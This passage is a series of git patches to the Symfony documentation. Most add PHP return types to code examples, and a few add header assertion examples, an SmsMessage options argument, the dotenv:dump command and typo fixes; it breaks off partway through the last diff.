diff --git a/security/impersonating_user.rst b/security/impersonating_user.rst
index ec18491005a..b801b5570c1 100644
--- a/security/impersonating_user.rst
+++ b/security/impersonating_user.rst
@@ -168,7 +168,7 @@ the impersonator user::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // ...
 
diff --git a/security/login_link.rst b/security/login_link.rst
index 14affeb47cd..4bb9dc28074 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -93,7 +93,7 @@ intercept requests to this route:
         class SecurityController extends AbstractController
         {
             #[Route('/login_check', name: 'login_check')]
-            public function check()
+            public function check(): never
             {
                 throw new \LogicException('This code should never be reached');
             }
@@ -149,13 +149,14 @@ this interface::
     use App\Repository\UserRepository;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     use Symfony\Component\Security\Http\LoginLink\LoginLinkHandlerInterface;
 
     class SecurityController extends AbstractController
     {
         #[Route('/login', name: 'login')]
-        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request): Response
         {
             // check if login form is submitted
             if ($request->isMethod('POST')) {
@@ -226,7 +227,7 @@ number::
     class SecurityController extends AbstractController
     {
         #[Route('/login', name: 'login')]
-        public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request)
+        public function requestLoginLink(NotifierInterface $notifier, LoginLinkHandlerInterface $loginLinkHandler, UserRepository $userRepository, Request $request): Response
         {
             if ($request->isMethod('POST')) {
                 $email = $request->request->get('email');
@@ -615,7 +616,7 @@ user create this POST request (e.g. by clicking a button)::
     class SecurityController extends AbstractController
     {
         #[Route('/login_check', name: 'login_check')]
-        public function check(Request $request)
+        public function check(Request $request): Response
         {
             // get the login link query parameters
             $expires = $request->query->get('expires');
@@ -773,7 +774,7 @@ features such as the locale used to generate the link::
     class SecurityController extends AbstractController
     {
         #[Route('/login', name: 'login')]
-        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request)
+        public function requestLoginLink(LoginLinkHandlerInterface $loginLinkHandler, Request $request): Response
         {
             // check if login form is submitted
             if ($request->isMethod('POST')) {
diff --git a/security/passwords.rst b/security/passwords.rst
index c4248ee4eea..6807785a29f 100644
--- a/security/passwords.rst
+++ b/security/passwords.rst
@@ -209,13 +209,12 @@ After configuring the correct algorithm, you can use the
         namespace App\Controller;
 
         // ...
-        use
-        Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
+        use Symfony\Component\HttpKernel\Exception\AccessDeniedHttpException;
         use Symfony\Component\PasswordHasher\Hasher\UserPasswordHasherInterface;
 
         class UserController extends AbstractController
         {
-            public function registration(UserPasswordHasherInterface $passwordHasher)
+            public function registration(UserPasswordHasherInterface $passwordHasher): Response
             {
                 // ... e.g. get the user data from a registration form
                 $user = new User(...);
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 77116333384..b40e432286d 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -33,7 +33,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
     {
         use DenormalizerAwareTrait;
 
-        public function denormalize($data, string $type, string $format = null, array $context = [])
+        public function denormalize($data, string $type, string $format = null, array $context = []): mixed
         {
             if ('0000-00-00' === $data) {
                 return null;
@@ -44,7 +44,7 @@ value is ``0000-00-00``. To do that you'll first have to create your normalizer:
             return $this->denormalizer->denormalize($data, $type, $format, $context);
         }
 
-        public function supportsDenormalization($data, string $type, string $format = null, array $context = [])
+        public function supportsDenormalization($data, string $type, string $format = null, array $context = []): bool
         {
             return true === ($context['zero_datetime_to_null'] ?? false)
                 && is_a($type, \DateTimeInterface::class, true);
diff --git a/serializer/custom_encoders.rst b/serializer/custom_encoders.rst
index 20df58ccb67..6bad3823e9d 100644
--- a/serializer/custom_encoders.rst
+++ b/serializer/custom_encoders.rst
@@ -25,22 +25,22 @@ create your own encoder that uses the
 
     class YamlEncoder implements EncoderInterface, DecoderInterface
     {
-        public function encode($data, string $format, array $context = [])
+        public function encode($data, string $format, array $context = []): string
         {
             return Yaml::dump($data);
         }
 
-        public function supportsEncoding(string $format, array $context = [])
+        public function supportsEncoding(string $format, array $context = []): bool
         {
             return 'yaml' === $format;
         }
 
-        public function decode(string $data, string $format, array $context = [])
+        public function decode(string $data, string $format, array $context = []): array
         {
             return Yaml::parse($data);
         }
 
-        public function supportsDecoding(string $format, array $context = [])
+        public function supportsDecoding(string $format, array $context = []): bool
         {
             return 'yaml' === $format;
         }
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index bc94772b2a5..74f73461833 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -30,7 +30,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         ) {
         }
 
-        public function normalize($topic, string $format = null, array $context = [])
+        public function normalize($topic, string $format = null, array $context = []): array
         {
             $data = $this->normalizer->normalize($topic, $format, $context);
 
@@ -42,7 +42,7 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
             return $data;
         }
 
-        public function supportsNormalization($data, string $format = null, array $context = [])
+        public function supportsNormalization($data, string $format = null, array $context = []): bool
         {
             return $data instanceof Topic;
         }
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 72bb7851965..722df00215b 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -689,7 +689,7 @@ typed properties:
             #[Required]
             public LoggerInterface $logger;
 
-            public function transform($value)
+            public function transform($value): void
             {
                 $this->logger->info('Transforming '.$value);
                 // ...
diff --git a/service_container/request.rst b/service_container/request.rst
index 379d065acb2..1abb289983f 100644
--- a/service_container/request.rst
+++ b/service_container/request.rst
@@ -19,7 +19,7 @@ method::
         ) {
         }
 
-        public function anyMethod()
+        public function anyMethod(): void
         {
             $request = $this->requestStack->getCurrentRequest();
             // ... do something with the request
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 30dbace8e30..6c3f9d09b8b 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -34,7 +34,7 @@ to handle their respective command when it is asked for::
         ) {
         }
 
-        public function handle(Command $command)
+        public function handle(Command $command): mixed
         {
             $commandClass = get_class($command);
 
@@ -92,7 +92,7 @@ in the service subscriber::
             ];
         }
 
-        public function handle(Command $command)
+        public function handle(Command $command): mixed
         {
             $commandClass = get_class($command);
 
@@ -638,7 +638,7 @@ Inside this locator you can retrieve services by index using the value of the
 
     class HandlerCollection
     {
-        public function getHandlerTwo(ContainerInterface $locator)
+        public function getHandlerTwo(ContainerInterface $locator): mixed
         {
             return $locator->get('handler_two');
         }
@@ -757,7 +757,7 @@ services based on type-hinted helper methods::
     {
         use ServiceSubscriberTrait;
 
-        public function doSomething()
+        public function doSomething(): void
         {
             // $this->router() ...
             // $this->logger() ...
@@ -819,7 +819,7 @@ and compose your services with them::
     {
         use ServiceSubscriberTrait, LoggerAware, RouterAware;
 
-        public function doSomething()
+        public function doSomething(): void
         {
             // $this->router() ...
             // $this->logger() ...
@@ -865,7 +865,7 @@ Here's an example::
     {
         use ServiceSubscriberTrait;
 
-        public function doSomething()
+        public function doSomething(): void
         {
             // $this->environment() ...
             // $this->router() ...
diff --git a/session.rst b/session.rst
index ed7ca1fb7b9..85f3d5542c8 100644
--- a/session.rst
+++ b/session.rst
@@ -49,7 +49,7 @@ if you type-hint an argument with :class:`Symfony\\Component\\HttpFoundation\\Re
                 // $this->session = $requestStack->getSession();
             }
 
-            public function someMethod()
+            public function someMethod(): void
             {
                 $session = $this->requestStack->getSession();
 
@@ -1319,7 +1319,7 @@ can determine the correct locale however you want::
         ) {
         }
 
-        public function onKernelRequest(RequestEvent $event)
+        public function onKernelRequest(RequestEvent $event): void
         {
             $request = $event->getRequest();
             if (!$request->hasPreviousSession()) {
@@ -1335,7 +1335,7 @@ can determine the correct locale however you want::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 // must be registered before (i.e. with a higher priority than) the default Locale listener
@@ -1410,7 +1410,7 @@ Remember, to get the user's locale, always use the :method:`Request::getLocale
     // from a controller...
     use Symfony\Component\HttpFoundation\Request;
 
-    public function index(Request $request)
+    public function index(Request $request): void
     {
         $locale = $request->getLocale();
     }
@@ -1451,7 +1451,7 @@ event::
         ) {
         }
 
-        public function onInteractiveLogin(InteractiveLoginEvent $event)
+        public function onInteractiveLogin(InteractiveLoginEvent $event): void
         {
             $user = $event->getAuthenticationToken()->getUser();
 
@@ -1460,7 +1460,7 @@ event::
             }
         }
 
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             return [
                 SecurityEvents::INTERACTIVE_LOGIN => 'onInteractiveLogin',
diff --git a/templates.rst b/templates.rst
index 182f3d759a6..9e927161155 100644
--- a/templates.rst
+++ b/templates.rst
@@ -580,7 +580,7 @@ to define the template to render::
     class ProductController extends AbstractController
     {
         #[Template('product/index.html.twig')]
-        public function index()
+        public function index(): array
         {
             // ...
 
@@ -618,7 +618,7 @@ the :class:`Twig\\Environment` class::
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // ...
 
@@ -1449,14 +1449,14 @@ Create a class that extends ``AbstractExtension`` and fill in the logic::
 
     class AppExtension extends AbstractExtension
     {
-        public function getFilters()
+        public function getFilters(): array
         {
             return [
                 new TwigFilter('price', [$this, 'formatPrice']),
             ];
         }
 
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
             $price = '$'.$price;
@@ -1476,14 +1476,14 @@ If you want to create a function instead of a filter, define the
 
     class AppExtension extends AbstractExtension
     {
-        public function getFunctions()
+        public function getFunctions(): array
         {
             return [
                 new TwigFunction('area', [$this, 'calculateArea']),
             ];
         }
 
-        public function calculateArea(int $width, int $length)
+        public function calculateArea(int $width, int $length): int
         {
             return $width * $length;
         }
@@ -1541,7 +1541,7 @@ callable defined in ``getFilters()``::
 
     class AppExtension extends AbstractExtension
     {
-        public function getFilters()
+        public function getFilters(): array
         {
             return [
                 // the logic of this filter is now implemented in a different class
@@ -1567,7 +1567,7 @@ previous ``formatPrice()`` method::
             // extensions, you'll need to inject services using this constructor
         }
 
-        public function formatPrice($number, $decimals = 0, $decPoint = '.', $thousandsSep = ',')
+        public function formatPrice(float $number, int $decimals = 0, string $decPoint = '.', string $thousandsSep = ','): string
         {
             $price = number_format($number, $decimals, $decPoint, $thousandsSep);
             $price = '$'.$price;
diff --git a/testing.rst b/testing.rst
index a2e10e8938c..a41d789cc76 100644
--- a/testing.rst
+++ b/testing.rst
@@ -120,7 +120,7 @@ class to help you creating and booting the kernel in your tests using
 
     class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             self::bootKernel();
 
@@ -254,7 +254,7 @@ the container is returned by ``static::getContainer()``::
 
     class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             // (1) boot the Symfony kernel
             self::bootKernel();
@@ -295,7 +295,7 @@ concrete one::
 
     class NewsletterGeneratorTest extends KernelTestCase
     {
-        public function testSomething()
+        public function testSomething(): void
         {
             // ... same bootstrap as the section above
 
@@ -473,7 +473,7 @@ instance, to load ``Product`` objects into Doctrine, use::
 
     class ProductFixture extends Fixture
     {
-        public function load(ObjectManager $manager)
+        public function load(ObjectManager $manager): void
         {
             $product = new Product();
             $product->setName('Priceless widget');
@@ -690,7 +690,7 @@ to simulate a login request::
     {
         // ...
 
-        public function testVisitingWhileLoggedIn()
+        public function testVisitingWhileLoggedIn(): void
         {
             $client = static::createClient();
             $userRepository = static::getContainer()->get(UserRepository::class);
diff --git a/testing/database.rst b/testing/database.rst
index bce96353da8..97b2f3fdfd5 100644
--- a/testing/database.rst
+++ b/testing/database.rst
@@ -29,7 +29,7 @@ Suppose the class you want to test looks like this::
         ) {
         }
 
-        public function calculateTotalSalary($id)
+        public function calculateTotalSalary(int $id): int
         {
             $employeeRepository = $this->objectManager
                 ->getRepository(Employee::class);
@@ -53,7 +53,7 @@ constructor, you can pass a mock object within a test::
 
     class SalaryCalculatorTest extends TestCase
     {
-        public function testCalculateTotalSalary()
+        public function testCalculateTotalSalary(): void
         {
             $employee = new Employee();
             $employee->setSalary(1000);
@@ -109,7 +109,7 @@ so, get the entity manager via the service container as follows::
                 ->getManager();
         }
 
-        public function testSearchByName()
+        public function testSearchByName(): void
         {
             $product = $this->entityManager
                 ->getRepository(Product::class)
diff --git a/testing/profiling.rst b/testing/profiling.rst
index 3c0184b604c..085cd100c2d 100644
--- a/testing/profiling.rst
+++ b/testing/profiling.rst
@@ -73,7 +73,7 @@ provided by the collectors obtained through the ``$client->getProfile()`` call::
 
     class LuckyControllerTest extends WebTestCase
     {
-        public function testRandomNumber()
+        public function testRandomNumber(): void
         {
             $client = static::createClient();
 
diff --git a/translation.rst b/translation.rst
index fea7e865cf4..ae885eb69ca 100644
--- a/translation.rst
+++ b/translation.rst
@@ -120,7 +120,7 @@ controller::
     // ...
     use Symfony\Contracts\Translation\TranslatorInterface;
 
-    public function index(TranslatorInterface $translator)
+    public function index(TranslatorInterface $translator): Response
     {
         $translated = $translator->trans('Symfony is great');
 
@@ -749,7 +749,7 @@ is stored in the request and is accessible via the ``Request`` object::
 
     use Symfony\Component\HttpFoundation\Request;
 
-    public function index(Request $request)
+    public function index(Request $request): void
     {
         $locale = $request->getLocale();
     }
@@ -758,7 +758,7 @@ To set the user's locale, you may want to create a custom event listener so
 that it's set before any other parts of the system (i.e. the translator) need
 it::
 
-        public function onKernelRequest(RequestEvent $event)
+        public function onKernelRequest(RequestEvent $event): void
         {
             $request = $event->getRequest();
 
@@ -819,8 +819,9 @@ A better policy is to include the locale in the URL using the
                     '_locale' => 'en|fr|de',
                 ],
             )]
-            public function contact()
+            public function contact(): Response
             {
+                // ...
             }
         }
 
@@ -1021,7 +1022,7 @@ of:
         ) {
         }
 
-        public function someMethod()
+        public function someMethod(): void
         {
             // you can get the current application locale like this:
             $currentLocale = $this->localeSwitcher->getLocale();
diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 105a6b5afdc..b1c50f0511d 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -67,7 +67,7 @@ class is specified by the constraint's ``validatedBy()`` method, which
 has this default logic::
 
     // in the base Symfony\Component\Validator\Constraint class
-    public function validatedBy()
+    public function validatedBy(): string
     {
         return static::class.'Validator';
     }
@@ -359,16 +359,17 @@ class to simplify writing unit tests for your custom constraints::
 
     use App\Validator\ContainsAlphanumeric;
     use App\Validator\ContainsAlphanumericValidator;
+    use Symfony\Component\Validator\ConstraintValidatorInterface;
     use Symfony\Component\Validator\Test\ConstraintValidatorTestCase;
 
     class ContainsAlphanumericValidatorTest extends ConstraintValidatorTestCase
     {
-        protected function createValidator()
+        protected function createValidator(): ConstraintValidatorInterface
         {
             return new ContainsAlphanumericValidator();
         }
 
-        public function testNullIsValid()
+        public function testNullIsValid(): void
         {
             $this->validator->validate(null, new ContainsAlphanumeric());
 
@@ -378,7 +379,7 @@ class to simplify writing unit tests for your custom constraints::
         /**
          * @dataProvider provideInvalidConstraints
          */
-        public function testTrueIsInvalid(ContainsAlphanumeric $constraint)
+        public function testTrueIsInvalid(ContainsAlphanumeric $constraint): void
         {
             $this->validator->validate('...', $constraint);
 
diff --git a/validation/groups.rst b/validation/groups.rst
index 22af24473be..3842c781969 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -99,7 +99,7 @@ user registers and when a user updates their contact information later:
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('email', new Assert\Email([
                     'groups' => ['registration'],
diff --git a/validation/raw_values.rst b/validation/raw_values.rst
index b863d9ee3ed..9c900ff2b36 100644
--- a/validation/raw_values.rst
+++ b/validation/raw_values.rst
@@ -10,7 +10,7 @@ address. From inside a controller, it looks like this::
     use Symfony\Component\Validator\Validator\ValidatorInterface;
 
     // ...
-    public function addEmail($email, ValidatorInterface $validator)
+    public function addEmail(string $email, ValidatorInterface $validator): void
     {
         $emailConstraint = new Assert\Email();
         // all constraint "options" can be set this way
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index d409b1a203a..2a06e661034 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -32,7 +32,7 @@ username and the password are different only if all other validation passes
                 message: 'The password cannot match your username',
                 groups: ['Strict'],
             )]
-            public function isPasswordSafe()
+            public function isPasswordSafe(): bool
             {
                 return ($this->username !== $this->password);
             }
@@ -99,7 +99,7 @@ username and the password are different only if all other validation passes
 
         class User
         {
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('username', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('password', new Assert\NotBlank());
@@ -151,7 +151,7 @@ You can also define a group sequence in the ``validation_groups`` form option::
     class MyType extends AbstractType
     {
         // ...
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'validation_groups' => new GroupSequence(['First', 'Second']),
@@ -246,7 +246,7 @@ entity and a new constraint group called ``Premium``:
 
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->addPropertyConstraint('name', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([
@@ -337,7 +337,7 @@ provides a sequence of groups to be validated:
         {
             // ...
 
-            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            public static function loadValidatorMetadata(ClassMetadata $metadata): void
             {
                 $metadata->setGroupSequenceProvider(true);
                 // ...
diff --git a/web_link.rst b/web_link.rst
index fb81376cba3..757821094e3 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -155,12 +155,13 @@ You can also add links to the HTTP response directly from controllers and servic
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\WebLink\GenericLinkProvider;
     use Symfony\Component\WebLink\Link;
 
     class BlogController extends AbstractController
     {
-        public function index(Request $request)
+        public function index(Request $request): Response
         {
             // using the addLink() shortcut provided by AbstractController
             $this->addLink($request, new Link('preload', '/app.css'));
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index f30d26397d1..12ee935cd8a 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -268,7 +268,7 @@ machine type, use ``camelCased workflow name + StateMachine``::
         ) {
         }
 
-        public function someMethod(PullRequest $pullRequest)
+        public function someMethod(PullRequest $pullRequest): void
         {
             $this->pullRequestWorkflow->apply($pullRequest, 'wait_for_review', [
                 'log_comment' => 'My logging comment for the wait for review transition.',

From 39e8e1e467cb2eac7fabfeaef864bbb05b903fa5 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Wed, 12 Jul 2023 20:03:18 +0200
Subject: [PATCH 3512/5766] Response Assertions: add examples of headers

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index 8a5a7b904c8..d3705a9984a 100644
--- a/testing.rst
+++ b/testing.rst
@@ -971,10 +971,10 @@ Response Assertions
     Asserts the response is a redirect response (optionally, you can check
     the target location and status code).
 ``assertResponseHasHeader(string $headerName, string $message = '')``/``assertResponseNotHasHeader(string $headerName, string $message = '')``
-    Asserts the given header is (not) available on the response.
+    Asserts the given header is (not) available on the response, e.g. ``assertResponseHasHeader('content-type');``.
 ``assertResponseHeaderSame(string $headerName, string $expectedValue, string $message = '')``/``assertResponseHeaderNotSame(string $headerName, string $expectedValue, string $message = '')``
     Asserts the given header does (not) contain the expected value on the
-    response.
+    response, e.g. ``assertResponseHeaderSame('content-type', 'application/octet-stream');``.
 ``assertResponseHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``/``assertResponseNotHasCookie(string $name, string $path = '/', string $domain = null, string $message = '')``
     Asserts the given cookie is present in the response (optionally
     checking for a specific cookie path or domain).

From a4a5ccea26cf9471e7fbf6604f386f62856a42b9 Mon Sep 17 00:00:00 2001
From: Tim <5579551+Timherlaud@users.noreply.github.com>
Date: Thu, 13 Jul 2023 12:05:05 +0200
Subject: [PATCH 3513/5766] Update notifier.rst

Add options to SmsMessage #17546
---
 notifier.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/notifier.rst b/notifier.rst
index 72004bd3e73..bb7a27f0907 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -183,6 +183,10 @@ send SMS messages::
         #[Route('/login/success')]
         public function loginSuccess(TexterInterface $texter)
         {
+            $options = (new ProviderOptions())
+                ->setPriority('high')
+            ;
+
             $sms = new SmsMessage(
                 // the phone number to send the SMS message to
                 '+1411111111',
@@ -190,6 +194,8 @@ send SMS messages::
                 'A new login was detected!',
                 // optionally, you can override default "from" defined in transports
                 '+1422222222',
+                // you can also add options object implementing MessageOptionsInterface
+                $options
             );
 
             $sentMessage = $texter->send($sms);
@@ -202,6 +208,10 @@ send SMS messages::
 
     The 3rd argument of ``SmsMessage`` (``$from``) was introduced in Symfony 6.2.
 
+.. versionadded:: 6.3
+
+    The 4th argument of ``SmsMessage`` (``$options``) was introduced in Symfony 6.3.
+
 The ``send()`` method returns a variable of type
 :class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
 information such as the message ID and the original message contents.

From eb12a3c355d92d3c40fb026d838b75b777b976c2 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jul 2023 16:50:54 +0200
Subject: [PATCH 3514/5766] Minor tweak

---
 frontend/asset_mapper.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index ac79b029c92..6765b43a1a5 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -289,7 +289,7 @@ Preloading and Initializing "app.js"
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 In addition to the importmap, the ``{{ importmap() }}`` Twig function also renders
-an `ES module shim`_ (see the :ref:`config-importmap-polyfill <polyfill config>` and
+an `ES module shim`_ (see the :ref:`config-importmap-polyfill <polyfill config>`) and
 a few other things, like a set of "preloads":
 
 .. code-block:: html
@@ -1034,7 +1034,7 @@ you expect are being included in the asset map.
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 Configure the polyfill for older browsers. Default is `ES module shim`_. You can pass
-any URL to be included, or `false` to disable the polyfill.
+any URL to be included, or ``false`` to disable the polyfill.
 
 .. code-block:: yaml
 

From 6da9f16e1edd1535d2a035c89b10415903dddd38 Mon Sep 17 00:00:00 2001
From: Mert Simsek <mertsmsk0@gmail.com>
Date: Wed, 19 Jan 2022 19:04:12 +0300
Subject: [PATCH 3515/5766] Update configuration.rst and deployment.rst for
 dotenv:dump command

---
 configuration.rst | 23 ++++++++++++++++++++---
 deployment.rst    |  6 +++---
 2 files changed, 23 insertions(+), 6 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index 5e62421dd6c..a5662985dde 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -772,13 +772,30 @@ In production, the ``.env`` files are also parsed and loaded on each request. So
 the easiest way to define env vars is by deploying a ``.env.local`` file to your
 production server(s) with your production values.
 
-To improve performance, you can optionally run the ``dump-env`` command (available
-in :ref:`Symfony Flex <symfony-flex>` 1.2 or later):
+To improve performance, you can optionally run the ``dotenv:dump`` command (available
+in :ref:`Symfony Flex <symfony-flex>` 1.2 or later). The command is not registered by default. 
+In order to enable it, you must add it to their services.yaml file:
+
+.. code-block:: yaml
+
+    services:
+        Symfony\Component\Dotenv\Command\DotenvDumpCommand:
+            - '%kernel.project_dir%/.env'
+            - '%kernel.environment%'
+
+On PHP >= 8, the two arguments can be removed when autoconfiguration is enabled (which is the default):
+
+.. code-block:: yaml
+
+    services:
+        Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
+        
+Running command:
 
 .. code-block:: terminal
 
     # parses ALL .env files and dumps their final values to .env.local.php
-    $ composer dump-env prod
+    $ php bin/console dotenv:dump prod
 
 After running this command, Symfony will load the ``.env.local.php`` file to
 get the environment variables and will not spend time parsing the ``.env`` files.
diff --git a/deployment.rst b/deployment.rst
index 1de29ae5b16..f61f8e1509b 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -164,14 +164,14 @@ most natural in your hosting environment.
 
     .. code-block:: terminal
 
-        $ composer dump-env prod
+        $ php bin/console dotenv:dump prod
 
-    The generated file will contain all the configuration stored in ``.env``. If you
+    The generated file will contain all the configurations stored in ``.env``. If you
     want to rely only on environment variables, generate one without any values using:
 
     .. code-block:: terminal
 
-        $ composer dump-env prod --empty
+        $ php bin/console dotenv:dump prod --empty
 
 C) Install/Update your Vendors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 679be09e566e61f8287f00648c10722d650b9838 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 13 Jul 2023 17:54:47 +0200
Subject: [PATCH 3516/5766] Tweaks

---
 configuration.rst | 11 +++++++----
 deployment.rst    |  9 ++++++---
 2 files changed, 13 insertions(+), 7 deletions(-)

diff --git a/configuration.rst b/configuration.rst
index f439e6ade5e..bdbbc69ec12 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -827,24 +827,27 @@ the easiest way to define env vars is by creating a ``.env.local`` file on your
 production server(s) with your production values.
 
 To improve performance, you can optionally run the ``dotenv:dump`` command (available
-in :ref:`Symfony Flex <symfony-flex>` 1.2 or later). The command is not registered by default. 
-In order to enable it, you must add it to their services.yaml file:
+in :ref:`Symfony Flex <symfony-flex>` 1.2 or later). The command is not registered
+by default, so you must register first in your services:
 
 .. code-block:: yaml
 
+    # config/services.yaml
     services:
         Symfony\Component\Dotenv\Command\DotenvDumpCommand:
             - '%kernel.project_dir%/.env'
             - '%kernel.environment%'
 
-On PHP >= 8, the two arguments can be removed when autoconfiguration is enabled (which is the default):
+In PHP >= 8, you can remove the the two arguments when autoconfiguration is enabled
+(which is the default):
 
 .. code-block:: yaml
 
+    # config/services.yaml
     services:
         Symfony\Component\Dotenv\Command\DotenvDumpCommand: ~
         
-Running command:
+Then, run the command:
 
 .. code-block:: terminal
 
diff --git a/deployment.rst b/deployment.rst
index 702996f0f91..2c755158faa 100644
--- a/deployment.rst
+++ b/deployment.rst
@@ -154,14 +154,17 @@ most natural in your hosting environment.
 
     .. code-block:: terminal
 
-        $ php bin/console dotenv:dump prod
+        $ composer dump-env prod
 
-    The generated file will contain all the configurations stored in ``.env``. If you
+    The generated file will contain all the configuration stored in ``.env``. If you
     want to rely only on environment variables, generate one without any values using:
 
     .. code-block:: terminal
 
-        $ php bin/console dotenv:dump prod --empty
+        $ composer dump-env prod --empty
+
+    If you don't have Composer installed on the production server, use instead
+    :ref:`the dotenv:dump Symfony command <configuration-env-var-in-prod>`.
 
 C) Install/Update your Vendors
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

From abeaf3642d8f1d4452f748e878a87cc4fc56ddbd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 13 Jul 2023 18:16:22 +0200
Subject: [PATCH 3517/5766] [OptionsResolver] Typo

---
 components/options_resolver.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/options_resolver.rst b/components/options_resolver.rst
index a71a08f7b77..428e48e1b7c 100644
--- a/components/options_resolver.rst
+++ b/components/options_resolver.rst
@@ -579,7 +579,7 @@ be included in the resolved options if it was actually passed to
         }
 
         // ...
-        public function sendMail(string from, string $to): void
+        public function sendMail(string $from, string $to): void
         {
             if (array_key_exists('port', $this->options)) {
                 echo 'Set!';

From 301658f4ae9d70b55dd5f86fecebe67db7f73296 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Thu, 13 Jul 2023 20:58:38 +0200
Subject: [PATCH 3518/5766] [DependencyInjection] Improve reporting named
 autowiring aliases

---
 quick_tour/the_architecture.rst |  6 +++---
 service_container.rst           | 12 ++++++------
 2 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index a91cb8dc616..a4154d822b1 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -65,13 +65,13 @@ What other possible classes or interfaces could you use? Find out by running:
       # this is just a *small* sample of the output...
 
       Describes a logger instance.
-      Psr\Log\LoggerInterface (monolog.logger)
+      Psr\Log\LoggerInterface - alias:monolog.logger
 
       Request stack that controls the lifecycle of requests.
-      Symfony\Component\HttpFoundation\RequestStack (request_stack)
+      Symfony\Component\HttpFoundation\RequestStack - alias:request_stack
 
